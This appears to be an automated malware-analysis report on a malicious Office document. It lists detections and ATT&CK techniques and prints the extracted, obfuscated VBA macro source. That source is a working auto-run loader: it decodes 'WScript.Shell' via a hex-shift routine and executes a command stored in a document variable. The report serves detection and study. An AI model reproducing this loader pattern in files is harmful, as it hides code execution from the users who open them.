MALICIOUS
342
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The file contains heavily obfuscated VBA macros, including auto-executing routines like Document_Open and Workbook_Open. These macros utilize CreateObject and CallByName, indicative of attempts to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection 'Xls.Malware.Valyria-6700360-0' further supports its malicious nature. The obfuscation and use of standard Office macro execution techniques suggest a downloader or initial access payload.
Heuristics 9
-
ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2559 bytes |
SHA-256: 8928b0f1b356882b56d981d866476bcc872ac8ecb5a7460091b4fe7bb5ee6996 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function CQPUTU() As String
D aCQPUTU As String
aCQPUTU = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myCQPUTU = aCQPUTU
DimDimMsgBox ((aCQPUTU & myCQPUTU, 28))
End Function
Public Sub CRJ_()
Dim XQ_ As Object: Set XQ_ = CreateObject(IHM_("6D6979887F868A44697E7B8282"))
CallByName XQ_, IHM_("688B84"), VbMethod, IHM_(ActiveDocument.Variables("TXTCZUN").Value), 0, True
End Sub
Private Function WSWHVW() As String
D aWSWHVW As String
aWSWHVW = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myWSWHVW = aWSWHVW
DimDimMsgBox ((aWSWHVW & myWSWHVW, 28))
End Function
Sub DNBBTJKL_()
CRJ_
End Sub
Private Function XHRTDD() As String
D aXHRTDD As String
aXHRTDD = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myXHRTDD = aXHRTDD
DimDimMsgBox ((aXHRTDD & myXHRTDD, 28))
End Function
Public Sub Document_Open()
Application.Run IHM_("5A6458586A60616275")
End Sub
Private Function ZWFEFU() As String
D aZWFEFU As String
aZWFEFU = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myZWFEFU = aZWFEFU
DimDimMsgBox ((aZWFEFU & myZWFEFU, 28))
End Function
Sub Workbook_Open()
DNBBTJKL_
End Sub
Private Function PLGYTH() As String
D aPLGYTH As String
aPLGYTH = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myPLGYTH = aPLGYTH
DimDimMsgBox ((aPLGYTH & myPLGYTH, 28))
End Function
Public Function IHM_(ByVal XQ_ As String)
Dim Y_ As String
Dim C_ As Long
For C_ = 1 To Len(XQ_) Step 2
Dim FS_ As Long: FS_ = CLng(Chr(38) & Chr(72) & Mid(XQ_, C_, 2))
Y_ = Y_ & Chr(FS_ - 22)
Next
IHM_ = Y_
End Function
Private Function DXCAVF() As String
D aDXCAVF As String
aDXCAVF = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myDXCAVF = aDXCAVF
DimDimMsgBox ((aDXCAVF & myDXCAVF, 28))
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.